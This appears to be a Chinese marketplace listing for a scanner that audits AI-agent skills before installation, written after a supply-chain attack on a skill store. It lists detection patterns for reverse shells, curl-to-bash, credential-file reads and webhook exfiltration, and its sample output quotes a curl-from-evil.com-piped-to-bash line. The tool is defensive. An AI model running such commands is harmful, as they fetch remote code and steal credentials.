返回顶部
c

clawhub-skill-scanner爪集扫描术

>

作者: admin | 来源: ClawHub
源自
ClawHub
版本
V 0.1.0
安全检测
已通过
1,639
下载量
免费
免费
1
收藏
概述
安装方式
版本历史

clawhub-skill-scanner

技能安全审计

强制要求:安装外部技能前必须进行安全检查。

受ClawHavoc攻击事件启发,该事件导致ClawHub上341个恶意技能被攻陷。

使用时机

请在任何技能安装前运行此审计:

  • - clawhub install <技能名称>
  • 手动下载/复制技能
  • 来自GitHub、URL或不可信来源的技能

快速开始

bash

扫描技能文件夹


python3 scripts/scan_skill.py /path/to/skill

JSON格式输出(适用于自动化)

python3 scripts/scan_skill.py /path/to/skill --json

仅在安全时返回退出码0

python3 scripts/scan_skill.py /path/to/skill --install-if-safe

检测内容

🔴 严重(阻止安装)

类别模式
反向Shellnc -e, bash /dev/tcp, Python socket shells
Curl管道Bash
curl \| bash, wget && chmod +x | | 凭据访问 | ~/.ssh, ~/.aws, ~/.openclaw, .env文件 | | 数据外泄 | Discord/Slack webhooks, 携带密钥的POST请求 | | 恶意域名 | glot.io, pastebin(已知恶意软件托管) | | 持久化 | crontab, systemd, LaunchAgents, .bashrc | | 命令注入 | eval(), exec(), subprocess shell=True | | 混淆 | base64解码管道, pickle, marshal |

🟡 警告(需审查)

仅检测无论技能类型如何都可疑的模式:

  • - 原始套接字使用(对大多数技能不常见)
  • 动态代码编译
  • 文件/目录删除
  • 截图/键盘捕获库
  • 低级系统调用(ctypes)

设计理念

我们有意不警告常见模式,例如:

  • - HTTP请求(API技能的正常行为)
  • API密钥引用(集成技能的正常行为)
  • 文件写入(数据技能的正常行为)
  • 环境变量访问(配置的正常行为)

这减少了噪音,使真正的威胁凸显出来。

风险评分

严重发现 × 30 = 基础分数
警告发现 × 3(上限10)= 警告贡献

分数等级操作
0-20🟢 安全自动批准
21-50
🟡 谨慎 | 审查发现 | | 51-80 | 🔶 危险 | 需详细审查 | | 81-100 | 🔴 阻止 | 请勿安装 |

示例输出

════════════════════════════════════════════════════════════
技能安全审计:可疑技能
════════════════════════════════════════════════════════════

📊 风险评分:90/100 - 🔴 阻止

🔴 严重发现(3项)
[install.py:15] Curl管道到Shell(危险!)
代码:os.system(curl https://evil.com/x.sh | bash)
[setup.py:42] Discord webhook外泄
代码:requests.post(https://discord.com/api/webhooks/...)
[run.py:8] ClawdBot .env访问(ClawHavoc目标!)
代码:open(os.path.expanduser(~/.clawdbot/.env))

📁 扫描文件数:5
📏 总行数:230

════════════════════════════════════════════════════════════
🔴 阻止 - 请勿安装此技能
════════════════════════════════════════════════════════════

与clawhub集成

创建包装脚本以在安装前自动扫描:

bash
#!/bin/bash

clawhub-secure:安装前扫描

SKILL=$2
TEMP=/tmp/skill-audit-$$

获取但不安装

clawhub inspect $SKILL --out $TEMP

扫描

python3 /path/to/scan_skill.py $TEMP --install-if-safe if [ $? -eq 0 ]; then clawhub install $SKILL else echo 🔴 安全扫描阻止安装 exit 1 fi

rm -rf $TEMP

参考资料

详见 references/threat-patterns.md 中的模式详细说明。

致谢

本工具针对ClawHavoc攻击事件(2026年2月)开发,该事件展示了通过AI代理技能市场进行的大规模供应链攻击。

标签

skill ai

通过对话安装

该技能支持在以下平台通过对话安装:

OpenClaw WorkBuddy QClaw Kimi Claude

方式一:安装 SkillHub 和技能

帮我安装 SkillHub 和 clawhub-skill-scanner-1776352215 技能

方式二:设置 SkillHub 为优先技能安装源

设置 SkillHub 为我的优先技能安装源,然后帮我安装 clawhub-skill-scanner-1776352215 技能

通过命令行安装

skillhub install clawhub-skill-scanner-1776352215

下载

⬇ 下载 clawhub-skill-scanner v0.1.0(免费)

文件大小: 11.53 KB | 发布时间: 2026-4-17 16:28

v0.1.0 最新 2026-4-17 16:28
Initial release of clawhub-skill-scanner

- Introduces a mandatory security audit tool for skill installations from ClawHub, GitHub, and external sources.
- Deep code analysis detects critical risks including reverse shells, credential access, data exfiltration, command injection, and common malware patterns.
- Outputs clear risk scoring (SAFE/CAUTION/DANGER/BLOCKED) and actionable summaries.
- Designed to minimize false alarms by ignoring common benign patterns.
- Includes CLI examples and integration guide for automated pre-install scanning.
- Created in response to ClawHavoc supply chain compromise.

Archiver·手机版·闲社网·闲社论坛·羊毛社区· 多链控股集团有限公司 · 苏ICP备2025199260号-1

Powered by Discuz! X5.0   © 2024-2025 闲社网·线报更新论坛·羊毛分享社区·http://xianshe.com

p2p_official_large
返回顶部